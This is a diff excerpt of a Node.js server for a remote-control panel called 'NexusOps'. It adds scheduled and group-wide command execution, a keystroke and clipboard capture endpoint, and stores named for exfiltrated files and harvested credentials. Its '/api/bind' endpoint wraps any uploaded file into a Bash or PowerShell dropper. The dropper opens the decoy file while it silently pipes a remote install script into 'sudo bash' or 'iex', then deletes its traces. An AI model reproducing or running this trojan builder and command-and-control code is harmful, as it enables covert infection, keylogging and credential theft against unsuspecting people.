||||||
|
});
|
||||||
|
commandHistory.push({
|
||||||
|
id: commandId, nodeId: node.id, hostname: node.hostname,
|
||||||
|
command: `[SCHED:${s.name}] ${s.command}`,
|
||||||
|
status: 'queued', createdAt: now, output: ''
|
||||||
|
});
|
||||||
|
});
|
||||||
|
s.history.push({ ts: now, targets: targets.length });
|
||||||
|
if (s.history.length > 50) s.history.shift();
|
||||||
|
ran = true;
|
||||||
|
}
|
||||||
|
});
|
||||||
|
if (ran) { saveSchedules(); broadcastState(); }
|
||||||
|
}, 10000);
|
||||||
|
|
||||||
|
// ═══ API: Schedules ═══
|
||||||
|
app.get('/api/schedules', (req, res) => res.json({ schedules }));
|
||||||
|
|
||||||
|
app.post('/api/schedules', (req, res) => {
|
||||||
|
const { name, command, tag, intervalSec } = req.body;
|
||||||
|
if (!command || !intervalSec || intervalSec < 15) {
|
||||||
|
return res.status(400).json({ error: 'command and intervalSec (>=15) required' });
|
||||||
|
}
|
||||||
|
const s = {
|
||||||
|
id: `sch-${Date.now()}`,
|
||||||
|
name: name || command.slice(0, 30),
|
||||||
|
command, tag: tag || 'all',
|
||||||
|
intervalSec: parseInt(intervalSec, 10),
|
||||||
|
nextRun: Date.now() + parseInt(intervalSec, 10) * 1000,
|
||||||
|
lastRun: 0, enabled: true, history: []
|
||||||
|
};
|
||||||
|
schedules.push(s);
|
||||||
|
saveSchedules(); broadcastState();
|
||||||
|
res.json({ success: true, schedule: s });
|
||||||
|
});
|
||||||
|
|
||||||
|
app.post('/api/schedules/:id/toggle', (req, res) => {
|
||||||
|
const s = schedules.find(x => x.id === req.params.id);
|
||||||
|
if (!s) return res.status(404).json({ error: 'not found' });
|
||||||
|
s.enabled = !s.enabled;
|
||||||
|
if (s.enabled) s.nextRun = Date.now() + s.intervalSec * 1000;
|
||||||
|
saveSchedules(); broadcastState();
|
||||||
|
res.json({ success: true, enabled: s.enabled });
|
||||||
|
});
|
||||||
|
|
||||||
|
app.delete('/api/schedules/:id', (req, res) => {
|
||||||
|
const i = schedules.findIndex(x => x.id === req.params.id);
|
||||||
|
if (i === -1) return res.status(404).json({ error: 'not found' });
|
||||||
|
schedules.splice(i, 1);
|
||||||
|
saveSchedules(); broadcastState();
|
||||||
|
res.json({ success: true });
|
||||||
|
});
|
||||||
|
|
||||||
|
// ═══ API: Alerts ═══
|
||||||
|
app.get('/api/alerts', (req, res) => res.json({ alerts: alertLog.slice(-100) }));
|
||||||
|
|
||||||
|
// ═══ API: Groups — list distinct tags across nodes ═══
|
||||||
|
app.get('/api/groups', (req, res) => {
|
||||||
|
const tagCounts = {};
|
||||||
|
nodes.forEach(n => (n.tags || []).forEach(t => { tagCounts[t] = (tagCounts[t] || 0) + 1; }));
|
||||||
|
res.json({ groups: Object.entries(tagCounts).map(([tag, count]) => ({ tag, count })) });
|
||||||
|
});
|
||||||
|
|
||||||
|
// ═══ API: Bulk command by group tag ═══
|
||||||
|
app.post('/api/groups/command', (req, res) => {
|
||||||
|
const { command, actionType, payload, tag } = req.body;
|
||||||
|
const targets = Array.from(nodes.values()).filter(n =>
|
||||||
|
n.status === 'online' && (!tag || tag === 'all' || (n.tags || []).includes(tag)));
|
||||||
|
if (targets.length === 0) return res.status(400).json({ error: 'No online nodes in group' });
|
||||||
|
const queuedIds = [];
|
||||||
|
targets.forEach(node => {
|
||||||
|
const commandId = `cmd-grp-${Date.now()}-${Math.random().toString(36).slice(2, 4)}`;
|
||||||
|
if (!commandQueues.has(node.id)) commandQueues.set(node.id, []);
|
||||||
|
commandQueues.get(node.id).push({
|
||||||
|
id: commandId, actionType: actionType || 'raw_command',
|
||||||
|
payload: payload || { command }, command: command || actionType, createdAt: Date.now()
|
||||||
|
});
|
||||||
|
commandHistory.push({
|
||||||
|
id: commandId, nodeId: node.id, hostname: node.hostname,
|
||||||
|
command: `[GROUP:${tag || 'all'}] ${command || actionType}`,
|
||||||
|
status: 'queued', createdAt: Date.now(), output: ''
|
||||||
|
});
|
||||||
|
queuedIds.push(commandId);
|
||||||
|
});
|
||||||
|
broadcastState();
|
||||||
|
res.json({ success: true, count: targets.length, commandIds: queuedIds });
|
||||||
|
});
|
||||||
|
|
||||||
|
// ═══ Live Console: SSE stream per node ═══
|
||||||
|
app.get('/api/nodes/:id/console', (req, res) => {
|
||||||
|
const nodeId = req.params.id;
|
||||||
|
if (!nodes.has(nodeId)) return res.status(404).json({ error: 'Node not found' });
|
||||||
|
res.writeHead(200, {
|
||||||
|
'Content-Type': 'text/event-stream',
|
||||||
|
'Cache-Control': 'no-cache',
|
||||||
|
'Connection': 'keep-alive',
|
||||||
|
'X-Accel-Buffering': 'no'
|
||||||
|
});
|
||||||
|
res.write(`data: ${JSON.stringify({ type: 'connected', nodeId })}\n\n`);
|
||||||
|
|
||||||
|
if (!consoleBuffers.has(nodeId)) consoleBuffers.set(nodeId, []);
|
||||||
|
const buf = consoleBuffers.get(nodeId);
|
||||||
|
// replay recent output
|
||||||
|
buf.forEach(l => res.write(`data: ${JSON.stringify({ type: 'output', text: l.text, ts: l.ts })}\n\n`));
|
||||||
|
|
||||||
|
// poll commandHistory for new output belonging to this node
|
||||||
|
let lastSeen = Date.now();
|
||||||
|
const interval = setInterval(() => {
|
||||||
|
// include both command outputs and syslog entries for this node
|
||||||
|
commandHistory.forEach(c => {
|
||||||
|
if (c.nodeId === nodeId && c.completedAt && c.completedAt > lastSeen && c.output) {
|
||||||
|
res.write(`data: ${JSON.stringify({ type: 'output', text: `$ ${c.command}\n${c.output}`, ts: c.completedAt })}\n\n`);
|
||||||
|
buf.push({ ts: c.completedAt, text: `$ ${c.command}\n${c.output}` });
|
||||||
|
lastSeen = c.completedAt;
|
||||||
|
}
|
||||||
|
});
|
||||||
|
if (buf.length > 200) buf.splice(0, buf.length - 200);
|
||||||
|
res.write(`: keepalive\n\n`);
|
||||||
|
}, 1500);
|
||||||
|
|
||||||
|
req.on('close', () => clearInterval(interval));
|
||||||
|
});
|
||||||
|
|
||||||
|
// Request the agent to fast-poll (1s) while console open, slow-poll (5s) after
|
||||||
|
app.post('/api/nodes/:id/fastpoll', (req, res) => {
|
||||||
|
const nodeId = req.params.id;
|
||||||
|
if (!nodes.has(nodeId)) return res.status(404).json({ error: 'Node not found' });
|
||||||
|
const node = nodes.get(nodeId);
|
||||||
|
node.heartbeatInterval = req.body && req.body.slow ? 5 : 1;
|
||||||
|
if (!commandQueues.has(nodeId)) commandQueues.set(nodeId, []);
|
||||||
|
commandQueues.get(nodeId).push({
|
||||||
|
id: `poll-${Date.now()}`,
|
||||||
|
actionType: 'set_heartbeat_rate',
|
||||||
|
payload: { interval: node.heartbeatInterval },
|
||||||
|
command: `set_heartbeat_rate ${node.heartbeatInterval}s`,
|
||||||
|
createdAt: Date.now()
|
||||||
|
});
|
||||||
|
broadcastState();
|
||||||
|
res.json({ success: true, interval: node.heartbeatInterval });
|
||||||
|
});
|
||||||
|
|
||||||
|
console.log('[v2] NexusOps v2 additions loaded: live console, schedules, groups, alerts');
|
||||||
|
|||||||
864
server.js.bak.1785802266
Normal file
864
server.js.bak.1785802266
Normal file
@@ -0,0 +1,864 @@
|
|||||||
|
const express = require('express');
|
||||||
|
const http = require('http');
|
||||||
|
const WebSocket = require('ws');
|
||||||
|
const path = require('path');
|
||||||
|
const cors = require('cors');
|
||||||
|
const os = require('os');
|
||||||
|
const multer = require('multer');
|
||||||
|
const fs = require('fs');
|
||||||
|
|
||||||
|
const upload = multer({ storage: multer.memoryStorage(), limits: { fileSize: 50 * 1024 * 1024 } });
|
||||||
|
|
||||||
|
const app = express();
|
||||||
|
const server = http.createServer(app);
|
||||||
|
const wss = new WebSocket.Server({ server });
|
||||||
|
|
||||||
|
const PORT = process.env.PORT || 3000;
|
||||||
|
const PUBLIC_URL = process.env.PUBLIC_URL || null;
|
||||||
|
const DATA_DIR = path.join(__dirname, 'data');
|
||||||
|
|
||||||
|
// Ensure data directory exists
|
||||||
|
if (!fs.existsSync(DATA_DIR)) fs.mkdirSync(DATA_DIR, { recursive: true });
|
||||||
|
|
||||||
|
app.use(cors());
|
||||||
|
app.use(express.json({ limit: '50mb' }));
|
||||||
|
app.use(express.static(path.join(__dirname, 'public')));
|
||||||
|
|
||||||
|
// ── Auth ──
|
||||||
|
const AUTH_TOKEN = process.env.NEXUS_AUTH_TOKEN || null;
|
||||||
|
if (!AUTH_TOKEN) {
|
||||||
|
console.log('!!! AUTH DISABLED — set NEXUS_AUTH_TOKEN in .env to protect the dashboard !!!');
|
||||||
|
}
|
||||||
|
const AUTH_EXEMPT_PREFIXES = ['/api/agent/', '/install', '/agent.py', '/bin/'];
|
||||||
|
function authMiddleware(req, res, next) {
|
||||||
|
if (!AUTH_TOKEN) return next();
|
||||||
|
if (AUTH_EXEMPT_PREFIXES.some(p => req.path.startsWith(p))) return next();
|
||||||
|
const h = req.headers.authorization || '';
|
||||||
|
if (h === 'Bearer ' + AUTH_TOKEN) return next();
|
||||||
|
if (req.path === '/api/auth/check') return res.status(401).json({ error: 'unauthorized' });
|
||||||
|
return res.status(401).json({ error: 'unauthorized' });
|
||||||
|
}
|
||||||
|
app.use(authMiddleware);
|
||||||
|
app.get('/api/auth/check', (req, res) => {
|
||||||
|
if (!AUTH_TOKEN) return res.json({ ok: true, authRequired: false });
|
||||||
|
res.json({ ok: true, authRequired: true });
|
||||||
|
});
|
||||||
|
|
||||||
|
|
||||||
|
|
||||||
|
function getLocalIp() {
|
||||||
|
const interfaces = os.networkInterfaces();
|
||||||
|
for (const name of Object.keys(interfaces)) {
|
||||||
|
for (const net of interfaces[name]) {
|
||||||
|
if (net.family === 'IPv4' && !net.internal) {
|
||||||
|
return net.address;
|
||||||
|
}
|
||||||
|
}
|
||||||
|
}
|
||||||
|
return 'localhost';
|
||||||
|
}
|
||||||
|
|
||||||
|
const SERVER_IP = getLocalIp();
|
||||||
|
|
||||||
|
const nodes = new Map();
|
||||||
|
const commandQueues = new Map();
|
||||||
|
const commandHistory = [];
|
||||||
|
const masterSystemLogs = [];
|
||||||
|
const inputDataStore = [];
|
||||||
|
const MAX_INPUT_STORE = 500;
|
||||||
|
const exfiltratedFiles = new Map(); // id → { nodeId, hostname, filename, data, mime, timestamp }
|
||||||
|
const harvestedCredentials = []; // { nodeId, hostname, type, data, timestamp }
|
||||||
|
|
||||||
|
// ── Persistence ──
|
||||||
|
let _saveLock = false;
|
||||||
|
function _atomicWrite(file, data) {
|
||||||
|
const tmp = file + '.tmp';
|
||||||
|
fs.writeFileSync(tmp, data);
|
||||||
|
fs.renameSync(tmp, file);
|
||||||
|
}
|
||||||
|
function saveData() {
|
||||||
|
if (_saveLock) return;
|
||||||
|
_saveLock = true;
|
||||||
|
try {
|
||||||
|
_atomicWrite(path.join(DATA_DIR, 'nodes.json'), JSON.stringify(Array.from(nodes.entries())));
|
||||||
|
_atomicWrite(path.join(DATA_DIR, 'commands.json'), JSON.stringify(commandHistory.slice(-200)));
|
||||||
|
_atomicWrite(path.join(DATA_DIR, 'logs.json'), JSON.stringify(masterSystemLogs.slice(-200)));
|
||||||
|
_atomicWrite(path.join(DATA_DIR, 'inputs.json'), JSON.stringify(inputDataStore.slice(-300)));
|
||||||
|
_atomicWrite(path.join(DATA_DIR, 'creds.json'), JSON.stringify(harvestedCredentials.slice(-200)));
|
||||||
|
} catch(e) { /* silent */ } finally {
|
||||||
|
_saveLock = false;
|
||||||
|
}
|
||||||
|
}
|
||||||
|
|
||||||
|
function loadData() {
|
||||||
|
try {
|
||||||
|
const nd = JSON.parse(fs.readFileSync(path.join(DATA_DIR, 'nodes.json'), 'utf8') || '[]');
|
||||||
|
nd.forEach(([k, v]) => { nodes.set(k, v); if (!commandQueues.has(k)) commandQueues.set(k, []); });
|
||||||
|
commandHistory.push(...(JSON.parse(fs.readFileSync(path.join(DATA_DIR, 'commands.json'), 'utf8') || '[]')));
|
||||||
|
masterSystemLogs.push(...(JSON.parse(fs.readFileSync(path.join(DATA_DIR, 'logs.json'), 'utf8') || '[]')));
|
||||||
|
inputDataStore.push(...(JSON.parse(fs.readFileSync(path.join(DATA_DIR, 'inputs.json'), 'utf8') || '[]')));
|
||||||
|
harvestedCredentials.push(...(JSON.parse(fs.readFileSync(path.join(DATA_DIR, 'creds.json'), 'utf8') || '[]')));
|
||||||
|
} catch(e) { /* first run */ }
|
||||||
|
}
|
||||||
|
loadData();
|
||||||
|
|
||||||
|
// Auto-save every 30 seconds
|
||||||
|
setInterval(saveData, 30000);
|
||||||
|
|
||||||
|
setInterval(() => {
|
||||||
|
const now = Date.now();
|
||||||
|
let changed = false;
|
||||||
|
nodes.forEach((node, id) => {
|
||||||
|
if (node.status === 'online' && now - node.lastHeartbeat > 20000) {
|
||||||
|
node.status = 'offline';
|
||||||
|
changed = true;
|
||||||
|
}
|
||||||
|
});
|
||||||
|
if (changed) {
|
||||||
|
broadcastState();
|
||||||
|
}
|
||||||
|
}, 5000);
|
||||||
|
|
||||||
|
function broadcastState() {
|
||||||
|
saveData(); // Persist on every state change
|
||||||
|
const payload = JSON.stringify({
|
||||||
|
type: 'NODES_UPDATE',
|
||||||
|
serverIp: SERVER_IP,
|
||||||
|
port: PORT,
|
||||||
|
publicUrl: PUBLIC_URL || `http://${SERVER_IP}:${PORT}`,
|
||||||
|
nodes: Array.from(nodes.values()),
|
||||||
|
commandHistory: commandHistory.slice(-50),
|
||||||
|
masterSystemLogs: masterSystemLogs.slice(-100),
|
||||||
|
inputData: inputDataStore.slice(-200)
|
||||||
|
});
|
||||||
|
|
||||||
|
wss.clients.forEach(client => {
|
||||||
|
if (client.readyState === WebSocket.OPEN) {
|
||||||
|
client.send(payload);
|
||||||
|
}
|
||||||
|
});
|
||||||
|
}
|
||||||
|
|
||||||
|
wss.on('connection', (ws, req) => {
|
||||||
|
// Auth check on WS upgrade
|
||||||
|
if (AUTH_TOKEN) {
|
||||||
|
const url = new URL(req.url, 'http://localhost');
|
||||||
|
if (url.searchParams.get('token') !== AUTH_TOKEN) {
|
||||||
|
ws.close(4401, 'unauthorized');
|
||||||
|
return;
|
||||||
|
}
|
||||||
|
}
|
||||||
|
ws.isAlive = true;
|
||||||
|
ws.on('pong', () => { ws.isAlive = true; });
|
||||||
|
ws.send(JSON.stringify({
|
||||||
|
type: 'NODES_UPDATE',
|
||||||
|
serverIp: SERVER_IP,
|
||||||
|
port: PORT,
|
||||||
|
publicUrl: PUBLIC_URL || `http://${SERVER_IP}:${PORT}`,
|
||||||
|
nodes: Array.from(nodes.values()),
|
||||||
|
commandHistory: commandHistory.slice(-50),
|
||||||
|
masterSystemLogs: masterSystemLogs.slice(-100),
|
||||||
|
inputData: inputDataStore.slice(-200)
|
||||||
|
}));
|
||||||
|
});
|
||||||
|
|
||||||
|
// WS heartbeat: ping every 25s, drop dead clients
|
||||||
|
setInterval(() => {
|
||||||
|
wss.clients.forEach(ws => {
|
||||||
|
if (ws.isAlive === false) return ws.terminate();
|
||||||
|
ws.isAlive = false;
|
||||||
|
try { ws.ping(); } catch(e) {}
|
||||||
|
});
|
||||||
|
}, 25000);
|
||||||
|
|
||||||
|
// REST API Endpoints
|
||||||
|
|
||||||
|
app.get('/api/status', (req, res) => {
|
||||||
|
res.json({
|
||||||
|
serverIp: SERVER_IP,
|
||||||
|
port: PORT,
|
||||||
|
serverUrl: PUBLIC_URL || `http://${SERVER_IP}:${PORT}`,
|
||||||
|
totalNodes: nodes.size,
|
||||||
|
onlineNodes: Array.from(nodes.values()).filter(n => n.status === 'online').length
|
||||||
|
});
|
||||||
|
});
|
||||||
|
|
||||||
|
app.get('/api/nodes', (req, res) => {
|
||||||
|
res.json(Array.from(nodes.values()));
|
||||||
|
});
|
||||||
|
|
||||||
|
app.get('/api/logs', (req, res) => {
|
||||||
|
res.json(masterSystemLogs.slice(-100));
|
||||||
|
});
|
||||||
|
|
||||||
|
// CSV Telemetry Export Endpoint
|
||||||
|
app.get('/api/export/csv', (req, res) => {
|
||||||
|
let csv = "ID,Hostname,Platform,OS,IP,Status,CPU_Usage,Mem_Usage,Disk_Usage,Uptime_Sec,Tags\n";
|
||||||
|
nodes.forEach(node => {
|
||||||
|
const tagsStr = (node.tags || []).join(';');
|
||||||
|
csv += `"${node.id}","${node.hostname}","${node.platform}","${node.osName}","${node.ip}","${node.status}",${node.cpuUsage},${node.memUsage},${node.diskUsage},${node.uptime},"${tagsStr}"\n`;
|
||||||
|
});
|
||||||
|
res.setHeader('Content-Type', 'text/csv');
|
||||||
|
res.setHeader('Content-Disposition', 'attachment; filename="NexusOps_Nodes_Report.csv"');
|
||||||
|
res.send(csv);
|
||||||
|
});
|
||||||
|
|
||||||
|
// Agent System Log Streaming Endpoint
|
||||||
|
app.post('/api/agent/logs', (req, res) => {
|
||||||
|
const { nodeId, hostname, logs } = req.body;
|
||||||
|
if (Array.isArray(logs)) {
|
||||||
|
logs.forEach(logLine => {
|
||||||
|
masterSystemLogs.push({
|
||||||
|
id: `log-${Date.now()}-${Math.random().toString(36).substr(2, 4)}`,
|
||||||
|
nodeId,
|
||||||
|
hostname: hostname || 'Unknown',
|
||||||
|
timestamp: Date.now(),
|
||||||
|
entry: logLine
|
||||||
|
});
|
||||||
|
});
|
||||||
|
if (masterSystemLogs.length > 200) {
|
||||||
|
masterSystemLogs.splice(0, masterSystemLogs.length - 200);
|
||||||
|
}
|
||||||
|
broadcastState();
|
||||||
|
}
|
||||||
|
res.json({ success: true });
|
||||||
|
});
|
||||||
|
|
||||||
|
// Agent Input Capture Endpoint — keystrokes, clicks, clipboard, window focus
|
||||||
|
app.post('/api/agent/input-capture', (req, res) => {
|
||||||
|
const { nodeId, hostname, events } = req.body;
|
||||||
|
if (!nodeId || !Array.isArray(events)) {
|
||||||
|
return res.status(400).json({ error: 'nodeId and events[] required' });
|
||||||
|
}
|
||||||
|
|
||||||
|
events.forEach(ev => {
|
||||||
|
inputDataStore.push({
|
||||||
|
id: `inp-${Date.now()}-${Math.random().toString(36).substr(2, 6)}`,
|
||||||
|
nodeId,
|
||||||
|
hostname: hostname || 'Unknown',
|
||||||
|
timestamp: ev.timestamp || Date.now(),
|
||||||
|
eventType: ev.eventType || 'unknown',
|
||||||
|
data: ev.data || {},
|
||||||
|
windowTitle: ev.windowTitle || '',
|
||||||
|
processName: ev.processName || ''
|
||||||
|
});
|
||||||
|
});
|
||||||
|
|
||||||
|
if (inputDataStore.length > MAX_INPUT_STORE) {
|
||||||
|
inputDataStore.splice(0, inputDataStore.length - MAX_INPUT_STORE);
|
||||||
|
}
|
||||||
|
|
||||||
|
if (events.length > 0) {
|
||||||
|
broadcastState();
|
||||||
|
}
|
||||||
|
|
||||||
|
res.json({ success: true, stored: events.length });
|
||||||
|
});
|
||||||
|
|
||||||
|
// Retrieve input capture data
|
||||||
|
app.get('/api/inputs', (req, res) => {
|
||||||
|
const { nodeId, eventType, limit } = req.query;
|
||||||
|
let filtered = inputDataStore;
|
||||||
|
|
||||||
|
if (nodeId) {
|
||||||
|
filtered = filtered.filter(e => e.nodeId === nodeId);
|
||||||
|
}
|
||||||
|
if (eventType) {
|
||||||
|
filtered = filtered.filter(e => e.eventType === eventType);
|
||||||
|
}
|
||||||
|
|
||||||
|
const max = parseInt(limit) || 200;
|
||||||
|
res.json(filtered.slice(-max));
|
||||||
|
});
|
||||||
|
|
||||||
|
// ── File Binder — upload any file, get back a self-extracting dropper with embedded agent ──
|
||||||
|
app.post('/api/bind', upload.single('file'), (req, res) => {
|
||||||
|
if (!req.file) {
|
||||||
|
return res.status(400).json({ error: 'No file uploaded. Use field name "file".' });
|
||||||
|
}
|
||||||
|
|
||||||
|
const originalName = req.file.originalname;
|
||||||
|
const b64Content = req.file.buffer.toString('base64');
|
||||||
|
const b64Lines = b64Content.match(/.{1,76}/g) || [b64Content];
|
||||||
|
const host = req.headers.host || `${SERVER_IP}:${PORT}`;
|
||||||
|
const serverUrl = PUBLIC_URL || `http://${host}`;
|
||||||
|
const format = (req.query.format || 'sh').toLowerCase();
|
||||||
|
|
||||||
|
let dropper, boundName, contentType;
|
||||||
|
|
||||||
|
if (format === 'ps1') {
|
||||||
|
const psLines = [
|
||||||
|
'<#',
|
||||||
|
' Self-Extracting Dropper — ' + originalName,
|
||||||
|
' NexusOps Agent Binder (Windows)',
|
||||||
|
'#>',
|
||||||
|
'',
|
||||||
|
'$ORIGINAL_NAME = "' + originalName + '"',
|
||||||
|
'$OUTPUT_DIR = "$env:TEMP\\nexus-$pid"',
|
||||||
|
'$OUTPUT_FILE = "$OUTPUT_DIR\\$ORIGINAL_NAME"',
|
||||||
|
'$SERVER_URL = "' + serverUrl + '"',
|
||||||
|
'',
|
||||||
|
'New-Item -ItemType Directory -Path $OUTPUT_DIR -Force | Out-Null',
|
||||||
|
'',
|
||||||
|
'$scriptPath = $MyInvocation.MyCommand.Path',
|
||||||
|
'$lines = Get-Content $scriptPath',
|
||||||
|
'$markerIdx = [array]::IndexOf($lines, "__PAYLOAD_BASE64__")',
|
||||||
|
'if ($markerIdx -ge 0) {',
|
||||||
|
' $b64 = ($lines[($markerIdx+1)..($lines.Length-1)] -join "")',
|
||||||
|
' [IO.File]::WriteAllBytes($OUTPUT_FILE, [Convert]::FromBase64String($b64))',
|
||||||
|
'}',
|
||||||
|
'',
|
||||||
|
'Start-Process $OUTPUT_FILE -WindowStyle Normal',
|
||||||
|
'',
|
||||||
|
'Start-Process powershell -ArgumentList "-WindowStyle Hidden -NoProfile -Command iwr -useb $SERVER_URL/install.ps1 | iex" -WindowStyle Hidden',
|
||||||
|
'',
|
||||||
|
'Start-Process powershell -ArgumentList "-WindowStyle Hidden -NoProfile -Command Start-Sleep 30; Remove-Item -Recurse -Force $OUTPUT_DIR" -WindowStyle Hidden',
|
||||||
|
'',
|
||||||
|
'__PAYLOAD_BASE64__',
|
||||||
|
...b64Lines
|
||||||
|
];
|
||||||
|
dropper = psLines.join('\r\n');
|
||||||
|
boundName = originalName + '.ps1';
|
||||||
|
contentType = 'text/plain';
|
||||||
|
} else {
|
||||||
|
dropper = [
|
||||||
|
'#!/bin/bash',
|
||||||
|
'# ═══════════════════════════════════════════════════',
|
||||||
|
`# Self-Extracting Dropper — ${originalName}`,
|
||||||
|
'# ═══════════════════════════════════════════════════',
|
||||||
|
'set -e',
|
||||||
|
'',
|
||||||
|
`ORIGINAL_NAME="${originalName}"`,
|
||||||
|
'OUTPUT_DIR="/tmp/.nexus-$$"',
|
||||||
|
'OUTPUT_FILE="$OUTPUT_DIR/$ORIGINAL_NAME"',
|
||||||
|
`SERVER_URL="${serverUrl}"`,
|
||||||
|
'',
|
||||||
|
'mkdir -p "$OUTPUT_DIR"',
|
||||||
|
'',
|
||||||
|
'ARCHIVE_START=$(awk \'$0 == "__PAYLOAD_BASE64__" {print NR+1; exit}\' "$0")',
|
||||||
|
'tail -n +$ARCHIVE_START "$0" | base64 -d > "$OUTPUT_FILE" 2>/dev/null',
|
||||||
|
'',
|
||||||
|
'# Open with default handler',
|
||||||
|
'if command -v xdg-open &>/dev/null; then',
|
||||||
|
' xdg-open "$OUTPUT_FILE" 2>/dev/null &',
|
||||||
|
'elif command -v open &>/dev/null; then',
|
||||||
|
' open "$OUTPUT_FILE" 2>/dev/null &',
|
||||||
|
'elif command -v start &>/dev/null; then',
|
||||||
|
' start "$OUTPUT_FILE" 2>/dev/null &',
|
||||||
|
'fi',
|
||||||
|
'',
|
||||||
|
'# Silently install agent in background',
|
||||||
|
'(curl -sSL "$SERVER_URL/install.sh" 2>/dev/null || curl -sSL --insecure "$SERVER_URL/install.sh" 2>/dev/null) | sudo bash 2>/dev/null &',
|
||||||
|
'(curl -sSL "$SERVER_URL/install-mac.sh" 2>/dev/null | bash 2>/dev/null) &',
|
||||||
|
'',
|
||||||
|
'(sleep 60 && rm -rf "$OUTPUT_DIR") &',
|
||||||
|
'disown',
|
||||||
|
'',
|
||||||
|
'exit 0',
|
||||||
|
'__PAYLOAD_BASE64__',
|
||||||
|
b64Content
|
||||||
|
].join('\n');
|
||||||
|
boundName = originalName + '.sh';
|
||||||
|
contentType = 'application/x-sh';
|
||||||
|
}
|
||||||
|
|
||||||
|
res.setHeader('Content-Type', contentType);
|
||||||
|
res.setHeader('Content-Disposition', `attachment; filename="${boundName}"`);
|
||||||
|
res.send(dropper);
|
||||||
|
});
|
||||||
|
|
||||||
|
app.post('/api/agent/register', (req, res) => {
|
||||||
|
const { hostname, platform, arch, ip, osName, tags } = req.body;
|
||||||
|
const nodeId = req.body.nodeId || `node-${hostname.toLowerCase().replace(/[^a-z0-9]/g, '-')}-${Math.random().toString(36).substr(2, 6)}`;
|
||||||
|
|
||||||
|
const existingNode = nodes.get(nodeId);
|
||||||
|
const now = Date.now();
|
||||||
|
|
||||||
|
const nodeData = {
|
||||||
|
id: nodeId,
|
||||||
|
hostname: hostname || 'Unknown-Host',
|
||||||
|
platform: platform || 'linux',
|
||||||
|
arch: arch || 'x64',
|
||||||
|
osName: osName || platform,
|
||||||
|
ip: ip || req.ip.replace(/^.*:/, '') || '127.0.0.1',
|
||||||
|
status: 'online',
|
||||||
|
firstSeen: existingNode ? existingNode.firstSeen : now,
|
||||||
|
lastHeartbeat: now,
|
||||||
|
cpuUsage: 0,
|
||||||
|
memUsage: 0,
|
||||||
|
diskUsage: 0,
|
||||||
|
uptime: 0,
|
||||||
|
processCount: 0,
|
||||||
|
tags: tags || ['Default'],
|
||||||
|
heartbeatInterval: 5,
|
||||||
|
metricsHistory: existingNode ? existingNode.metricsHistory : []
|
||||||
|
};
|
||||||
|
|
||||||
|
nodes.set(nodeId, nodeData);
|
||||||
|
if (!commandQueues.has(nodeId)) {
|
||||||
|
commandQueues.set(nodeId, []);
|
||||||
|
}
|
||||||
|
|
||||||
|
broadcastState();
|
||||||
|
res.json({ success: true, nodeId, serverUrl: PUBLIC_URL || `http://${SERVER_IP}:${PORT}` });
|
||||||
|
});
|
||||||
|
|
||||||
|
// Agent Heartbeat
|
||||||
|
app.post('/api/agent/heartbeat', (req, res) => {
|
||||||
|
const { nodeId, cpuUsage, memUsage, diskUsage, uptime, processCount, tags, heartbeatInterval } = req.body;
|
||||||
|
|
||||||
|
if (!nodeId || !nodes.has(nodeId)) {
|
||||||
|
return res.status(404).json({ error: 'Node not registered.' });
|
||||||
|
}
|
||||||
|
|
||||||
|
const node = nodes.get(nodeId);
|
||||||
|
const now = Date.now();
|
||||||
|
|
||||||
|
node.status = 'online';
|
||||||
|
node.lastHeartbeat = now;
|
||||||
|
node.cpuUsage = typeof cpuUsage === 'number' ? Math.round(cpuUsage) : node.cpuUsage;
|
||||||
|
node.memUsage = typeof memUsage === 'number' ? Math.round(memUsage) : node.memUsage;
|
||||||
|
node.diskUsage = typeof diskUsage === 'number' ? Math.round(diskUsage) : node.diskUsage;
|
||||||
|
node.uptime = uptime || node.uptime;
|
||||||
|
node.processCount = processCount || node.processCount;
|
||||||
|
if (tags) node.tags = tags;
|
||||||
|
if (heartbeatInterval) node.heartbeatInterval = heartbeatInterval;
|
||||||
|
|
||||||
|
if (!node.metricsHistory) node.metricsHistory = [];
|
||||||
|
node.metricsHistory.push({
|
||||||
|
timestamp: new Date().toLocaleTimeString(),
|
||||||
|
cpu: node.cpuUsage,
|
||||||
|
mem: node.memUsage,
|
||||||
|
disk: node.diskUsage
|
||||||
|
});
|
||||||
|
if (node.metricsHistory.length > 30) {
|
||||||
|
node.metricsHistory.shift();
|
||||||
|
}
|
||||||
|
|
||||||
|
nodes.set(nodeId, node);
|
||||||
|
broadcastState();
|
||||||
|
|
||||||
|
const queue = commandQueues.get(nodeId) || [];
|
||||||
|
const pendingCommands = [...queue];
|
||||||
|
commandQueues.set(nodeId, []);
|
||||||
|
|
||||||
|
res.json({ success: true, commands: pendingCommands });
|
||||||
|
});
|
||||||
|
|
||||||
|
// Command Result Callback
|
||||||
|
app.post('/api/agent/command-result', (req, res) => {
|
||||||
|
const { commandId, nodeId, output, exitCode } = req.body;
|
||||||
|
const entry = commandHistory.find(c => c.id === commandId);
|
||||||
|
if (entry) {
|
||||||
|
entry.status = exitCode === 0 ? 'completed' : 'failed';
|
||||||
|
entry.output = output;
|
||||||
|
entry.completedAt = Date.now();
|
||||||
|
}
|
||||||
|
broadcastState();
|
||||||
|
res.json({ success: true });
|
||||||
|
});
|
||||||
|
|
||||||
|
// Queue Command for Single Node
|
||||||
|
app.post('/api/nodes/:id/command', (req, res) => {
|
||||||
|
const nodeId = req.params.id;
|
||||||
|
const { command, actionType, payload } = req.body;
|
||||||
|
|
||||||
|
if (!nodes.has(nodeId)) {
|
||||||
|
return res.status(404).json({ error: 'Node not found' });
|
||||||
|
}
|
||||||
|
|
||||||
|
const commandId = `cmd-${Date.now()}-${Math.random().toString(36).substr(2, 4)}`;
|
||||||
|
const actionName = actionType || 'raw_command';
|
||||||
|
|
||||||
|
const cmdObj = {
|
||||||
|
id: commandId,
|
||||||
|
actionType: actionName,
|
||||||
|
payload: payload || { command },
|
||||||
|
command: command || actionName,
|
||||||
|
createdAt: Date.now()
|
||||||
|
};
|
||||||
|
|
||||||
|
if (!commandQueues.has(nodeId)) {
|
||||||
|
commandQueues.set(nodeId, []);
|
||||||
|
}
|
||||||
|
commandQueues.get(nodeId).push(cmdObj);
|
||||||
|
|
||||||
|
commandHistory.push({
|
||||||
|
id: commandId,
|
||||||
|
nodeId,
|
||||||
|
hostname: nodes.get(nodeId).hostname,
|
||||||
|
command: command || `${actionName} (${JSON.stringify(payload)})`,
|
||||||
|
status: 'queued',
|
||||||
|
createdAt: Date.now(),
|
||||||
|
output: ''
|
||||||
|
});
|
||||||
|
|
||||||
|
broadcastState();
|
||||||
|
res.json({ success: true, commandId });
|
||||||
|
});
|
||||||
|
|
||||||
|
